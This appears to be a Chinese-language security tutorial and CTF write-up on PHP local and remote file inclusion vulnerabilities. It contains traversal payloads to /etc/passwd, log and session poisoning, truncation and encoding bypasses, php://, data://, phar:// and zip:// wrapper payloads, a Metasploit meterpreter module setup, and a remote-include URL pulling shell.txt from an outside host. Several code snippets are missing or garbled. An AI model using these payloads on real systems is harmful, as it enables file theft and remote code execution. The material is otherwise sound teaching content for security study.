來自:信安之路(微訊號:xazlsec)
作者:mang0(來自信安之路學生滲透小組)
原理
檔案包含漏洞的產生原因是在透過 PHP 的函式引入檔案時,由於傳入的檔案名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的程式碼註入。
php 中引發檔案包含漏洞的通常是以下四個函式:
1、include()
當使用該函式包含檔案時,只有程式碼執行到 include()
函式時才將檔案包含進來,發生錯誤時只給出一個警告,繼續向下執行。
2、include_once()
功能和 include()
相同,區別在於當重覆呼叫同一檔案時,程式只呼叫一次。
3、require()
只要程式一執行就會立即呼叫檔案,發生錯誤的時候會輸出錯誤資訊,並且終止指令碼的執行
4、require_once()
它的功能與 require()
相同,區別在於當重覆呼叫同一檔案時,程式只呼叫一次。
當使用這四個函式包含一個新檔案時,該檔案將作為 PHP 程式碼執行,php 核心並不在意該被包含的檔案是什麼型別。所以如果被包含的是 txt 檔案、圖片檔案、遠端 url、也都將作為 PHP 程式碼執行。這一特性,在實施攻擊時非常有用。
利用條件
(1) include 等函式透過動態執行變數的方式引入需要包含的檔案;
(2)使用者能控制該動態變數。
分類
檔案包含漏洞可以分為 RFI (遠端檔案包含)和 LFI(本地檔案包含漏洞)兩種。而區分他們最簡單的方法就是 php.ini 中是否開啟了allow_url_include。如果開啟 了我們就有可能包含遠端檔案。
1、本地檔案包含 LFI(Local File Include)
2、遠端檔案包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)
在 php.ini 中,allow_url_fopen 預設一直是 On,而 allow_url_include 從 php5.2 之後就預設為 Off。
一、本地包含
包含同目錄下的檔案
?file=test.txt
目錄遍歷:
?file=./../../test.txt
./
當前目錄 ../
上一級目錄,這樣的遍歷目錄來讀取檔案
包含圖片木馬
命令列下執行:
copy x.jpg /b + s.php /b f.jpg
上傳 f.jpg、找到 f.jpg 路徑、包含 f.jpg
包含日誌
利用條件:需要知道伺服器日誌的儲存路徑,且日誌檔案可讀。
很多時候,web 伺服器會將請求寫入到日誌檔案中,比如說 apache。在使用者發起請求時,會將請求寫入 access.log,當發生錯誤時將錯誤寫入 error.log。預設情況下,日誌儲存路徑在 /var/log/apache2/
。
?file=../../../../../../../../../var/log/apache/error.log
1、提交如下請求,將 payload 插入日誌
2、可以嘗試利用 UA 插入 payload 到日誌檔案
3、MSF 攻擊模組
use exploit/unix/webapp/php_include
set rhost 192.168.159.128
set rport 80
set phpuri /index.php?file=xxLFIxx
set path http://172.18.176.147/
set payload php/meterpreter/bind_tcp
set srvport 8888
exploit -z
日誌預設路徑
apache+Linux 日誌預設路徑
/etc/httpd/logs/access_log
或者
/var/log/httpd/access log
apache+win2003 日誌預設路徑
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS6.0+win2003 預設日誌檔案
C:/WINDOWS/system32/Logfiles
IIS7.0+win2003 預設日誌檔案
%SystemDrive%/inetpub/logs/LogFiles
nginx 日誌檔案在使用者安裝目錄的 logs 目錄下
如安裝目錄為 /usr/local/nginx
,則日誌目錄就是在
/usr/local/nginx/logs
也可透過其配置檔案 Nginx.conf,獲取到日誌的存在路徑
/opt/nginx/logs/access.log
web 中介軟體預設配置
apache+linux 預設配置檔案
/etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
IIS6.0+win2003 配置檔案
C:/Windows/system32/inetsrv/metabase.xml
IIS7.0+WIN 配置檔案
C:/Windows/System32/inetsrv/config/application/Host.config
包含 session
利用條件:session 檔案路徑已知,且其中內容部分可控。
PHP 預設生成的 Session 檔案往往存放在 /tmp 目錄下
/tmp/sess_SESSIONID
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
session 檔案一般在 /tmp 目錄下,格式為 sess_[your phpsessid value]
,有時候也有可能在 /var/lib/php5
之類的,在此之前建議先讀取配置檔案。在某些特定的情況下如果你能夠控制 session 的值,也許你能夠獲得一個 shell
包含 /proc/self/environ 檔案
利用條件:
1、php 以 cgi 方式執行,這樣 environ 才會保持 UA 頭。
2、environ 檔案儲存位置已知,且 environ 檔案可讀。
姿勢:
proc/self/environ
中會儲存 user-agent 頭。如果在 user-agent 中插入 php 程式碼,則 php 程式碼會被寫入到 environ 中。之後再包含它,即可。
?file=../../../../../../../proc/self/environ
選擇 User-Agent 寫程式碼如下:
然後提交請求。
包含臨時檔案
php 中上傳檔案,會建立臨時檔案。在 linux 下使用 /tmp 目錄,而在 windows 下使用 c:winsdows emp
目錄。在臨時檔案被刪除之前,利用競爭即可包含該臨時檔案。
由於包含需要知道包含的檔案名。一種方法是進行暴力猜解,linux 下使用的隨機函式有缺陷,而 window 下只有 65535 中不同的檔案名,所以這個方法是可行的。另一種方法 phpinfo 來獲取臨時檔案的路徑以及名稱,然後臨時檔案在極短時間被刪除的時候,需要競爭時間包含臨時檔案拿到 webshell。
有防禦的本地檔案包含
審計中可見這樣的包含模版檔案:
php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>
這段程式碼指定了字首和字尾:這樣就很“難”直接去包含前面提到的種種檔案。
1、%00 截斷
能利用 00 截斷的場景現在應該很少了
PHP 內核是由 C 語言實現的,因此使用了 C 語言中的一些字串處理函式。在連線字串時,0 位元組 () 將作為字串的結束符。所以在這個地方,攻擊者只要在最後加入一個 0 位元組,就能截斷 file 變數之後的字串。
?file=../../../../../../../../../etc/passwd%00
需要 magic_quotes_gpc=off,PHP 小於 5.3.4 有效
2、%00 截斷目錄遍歷:
?file=../../../../../../../../../var/www/%00
需要 magic_quotes_gpc=off,unix 檔案系統,比如 FreeBSD,OpenBSD,NetBSD,Solaris
3、路徑長度截斷:
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
php 版本小於 5.2.8 可以成功,linux 需要檔案名長於 4096,windows 需要長於 256
利用作業系統對目錄最大長度的限制,可以不需要 0 位元組而達到截斷的目的。
我們知道目錄字串,在 window 下 256 位元組、linux 下 4096 位元組時會達到最大值,最大值長度之後的字元將被丟棄。
而利用 “./” 的方式即可構造出超長目錄字串:
4、點號截斷:
?file=../../../../../../../../../boot.ini/………[…]…………
php 版本小於 5.2.8 可以成功,只適用 windows,點號需要長於 256
5、編碼繞過
伺服器端常常會對於 ../
等做一些過濾,可以用一些編碼來進行繞過。下麵這些總結來自《白帽子講 Web 安全》。
利用 url 編碼:
../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
.. -》 %2e%2e%5c -》 ..%5c -》 %2e%2e
二次編碼:
../ -》 %252e%252e%252f
.. -》 %252e%252e%255c
二、遠端檔案包含
?file=[http|https|ftp]://www.bbb.com/shell.txt
可以有三種,http、https、ftp
有防禦的遠端檔案包含
php
$basePath = $_GET['path'];
require_once $basePath . "/action/m_share.php";
?>
攻擊者可以構造類似如下的攻擊 URL
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php? =http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php%23
產生的原理:
/?path=http://localhost/test/solution.php?
最終標的應用程式程式碼實際上執行了:
require_once “http://localhost/test/solution.php?/action/m_share.php”;
註意,這裡很巧妙,問號 “?” 後面的程式碼被解釋成 URL 的 querystring,這也是一種”截斷”思想,和 %00 一樣
攻擊者可以在 http://localhost/test/solution.php 上模擬出相應的路徑,從而使之吻合
PHP 中的封裝協議(偽協議)
http://cn2.php.net/manual/zh/wrappers.php
file:///var/www/html 訪問本地檔案系統
ftp://:@ 訪問 FTP(s) URLs
data:// 資料流
http:// — 訪問 HTTP(s) URLs
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流
zlib:// — 壓縮流
data:// — Data (RFC 2397)
glob:// — 查詢匹配的檔案路徑樣式
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — 處理互動式的流
利用 php 流 input:
利用條件:
1、allow_url_include = On。
2、對 allow_url_fopen 不做要求。
index.php?file=php://input
POST:
phpinfo();?>
結果將在 index.php 所在檔案下的檔案 shell.php 內增加 “” 一句話
利用 php 流 filter:
?file=php://filter/convert.base64-encode/resource=index.php
透過指定末尾的檔案,可以讀取經 base64 加密後的檔案原始碼,之後再 base64 解碼一下就行。雖然不能直接獲取到 shell 等,但能讀取敏感檔案危害也是挺大的。
其他姿勢:
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一樣,少了 read 等關鍵字。在繞過一些 waf 時也許有用。
利用 data URIs:
利用條件:
1、php 版本大於等於 php5.2
2、allow_url_fopen = On
3、allow_url_include = On
利用 data://
偽協議進行程式碼執行的思路原理和 php://
是類似的,都是利用了 PHP 中的流的概念,將原本的 include 的檔案流重定向到了使用者可控制的輸入流中
?file=data:text/plain,
?file=data:text/plain;base64,base64編碼的payload
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
加號 + 的 url 編碼為 %2b,PD9waHAgcGhwaW5mbygpOz8+ 的 base64 解碼為:
需要 allow_url_include=On
利用 XSS 執行任意程式碼:
?file=http://127.0.0.1/path/xss.php?xss=phpcode
利用條件:
1、allow_url_fopen = On
2、並且防火牆或者白名單不允許訪問外網時,先在同站點找一個 XSS 漏洞,包含這個頁面,就可以註入惡意程式碼了。條件非常極端和特殊
glob:// 偽協議
glob:// 查詢匹配的檔案路徑樣式
phar://
利用條件:
1、php 版本大於等於 php5.3.0
姿勢:
假設有個檔案 phpinfo.txt,其內容為
,打包成 zip 壓縮包,如下:
指定絕對路徑
index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
或者使用相對路徑(這裡 test.zip 就在當前目錄下)
index.php?file=phar://test.zip/phpinfo.txt
zip://
利用條件:
1、php 版本大於等於 php5.3.0
php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>
擷取過來的後面 4 格字元,判斷是不是 jpg,如果是 jpg 才進行包含
但使用 zip 協議,需要指定絕對路徑,同時將 #
編碼為 %23
,之後填上壓縮包內的檔案。
然後我們構造 zip://php.zip#php.jpg
index.php?file=zip://D:phpStudyWWWileinclude est.zip%23php.jpg
註意事項:
1、若是使用相對路徑,則會包含失敗。
2、協議原型:zip://archive.zip#dir/file.txt
3、註意 url 編碼,因為這個 # 會和 url 協議中的 # 衝突
CTF 中的檔案包含套路
php 偽協議讀取原始碼
點選 login,發現連結變為:
http://54.222.188.152:1/index.php?action=login.php
推測檔案包含 訪問:
http://54.222.188.152:1/index.php?action=php://filter/read=convert.base64-encode/resource=login.php
得到原始碼
貪婪包含
iscc2018 的一道題目,開啟題目
檢視原始碼
知道這裡呼叫 show.php?img=1.jpg
訪問,並修改 1 的值
大概可以猜測 檔案包含漏洞,嘗試
img=php://filter/read=convert.base64-encode/resource=show.php
但是不行
題目的坑點在於還需要包含 jpg,這就是貪婪包含所在,也就是後臺某處程式碼所致,
curl http://118.190.152.202:8006/show.php?img=php://filter/resource=jpg/resource=show.php
php
error_reporting(0);
ini_set('display_errors','Off');
include('config.php');
$img = $_GET['img'];
if(isset($img) && !empty($img))
{
if(strpos($img,'jpg') !== false)
{
if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)
{
die('File not found.');
}
preg_match('/^php://filter.*resource=([^|]*)/i',trim($img),$matches);
if(isset($matches[1]))
{
$img = $matches[1];
}
essay-header('Content-Type: image/jpeg');
$data = get_contents($img);
echo $data;
}
else
{
die('File not found.');
}
}
else
{
?>
<img src="1.jpg">
php
}
?>
1、開頭包含了 config.php
2、img 必須有 jpg 但又不能有 resource=.*jpg
3、正則檢查了並把結果填充到 $matches 裡去,說明我們可以使用 php://filter
偽協議,並且 resource 的值不含|,那麼我們就可以用| 來分隔 php 和 jpg,因為正則匹配到| 就不會繼續匹配後面的 jpg 了,使得 $img=show.php
知道了 config.php 再去訪問明白為什麼必須包含 jpg
php
function get_contents($img)
{
if(strpos($img,'jpg') !== false)
{
return file_get_contents($img);
}
else
{
essay-header('Content-Type: text/html');
return file_get_contents($img);
}
}
?>
最終 payload:
http://118.190.152.202:8006/show.php?img=php://filter/resource=../flag.php|jpg
%00 截斷
要求:
1、php 版本小於 5.3.4
2、magic_quotes_gpc 為 off 狀態
大多數的檔案包含漏洞都是需要截斷的,因為正常程式裡麵包含的檔案程式碼一般是 include(BASEPATH.$mod.’.php’) 或者 include($mod.’.php’) 這樣的方式,如果我們不能寫入 .php 為副檔名的檔案,那我們是需要截斷來利用的受限與 gpc 和 addslashes 等函式的過濾,另外,php5.3 之後的版本全面修複了 %00 截斷的問題
php
include($_GET['a'].'.php')
?>
上傳我們的 2.txt 檔案,請求
http://localhost/test/1.php?a=2.txt%00
即可執行 2.txt 中 phpinfo 的程式碼
列子二
漏洞檔案 index.php
php
if (empty($_GET["file"])){
echo('../flag.php');
return;
}
else{
$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';
include $filename;
}
?>
flag 檔案放在上層目錄
這裡限制了字尾名,我們需要透過截斷才能訪問到 flag 檔案 利用程式碼:
index.php?file=../../flag.php%00
%00 會被解析為 0x00,所以導致截斷的發生 我們透過截斷成功的繞過了字尾限制
路徑長度截斷
我們現在已經知道使用 %00 截斷有兩個條件 php 版本小於 5.3.4 和 magic_quotes_gpc 為 off 狀態。 如果這時我們將 magic_quotes_gpc 改為 on 那麼就不能截斷了,因為開啟 magic_quotes_gpc 後 %00 會被加上一個反斜槓轉義掉
那麼我們這時候有沒有辦法繞過這個限制呢?有一個條件那就是 php 版本小於 5.3.10 我們的程式碼依舊不變 漏洞檔案 index.php
php
if (empty($_GET["file"])){
echo('../flag.php');
return;
}
else{
$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';
include $filename;
}
?>
flag 檔案放在上層目錄 這時我們可以使用字元 ./.
和 ./
來進行繞過,因為檔案路徑有長度限制
windows 259 個 bytes
linux 4096 個 bytes
在 windows 下需要.字元最少的利用 POC1:
file=../../flag.php..............................................................................................................................................................................................................................................
在 windows 下需要.字元最少的利用 POC2:
file=../../flag.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
將 flag.php 改為 flag1.php 在 windows 下需要.字元最少的利用 POC3:
file=../../flag1.php/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
我們發現在使用 payload3 時將檔案名改為了 flag1.php,而 payload2 和 payload3 則是一個.開始,一個 / 開始。 這和檔案長度的奇偶性有關,當為偶數的時候我們選擇 payload2,為奇數的時候我們選擇 payload3
Refer:
檸檬師傅:
https://www.cnblogs.com/iamstudy/articles/include_file.html
腹黑師傅:
https://zhuanlan.zhihu.com/p/27739315
●編號614,輸入編號直達本文
●輸入m獲取文章目錄
推薦↓↓↓
Web開發
更多推薦《18個技術類微信公眾號》
涵蓋:程式人生、演演算法與資料結構、駭客技術與網路安全、大資料技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維等。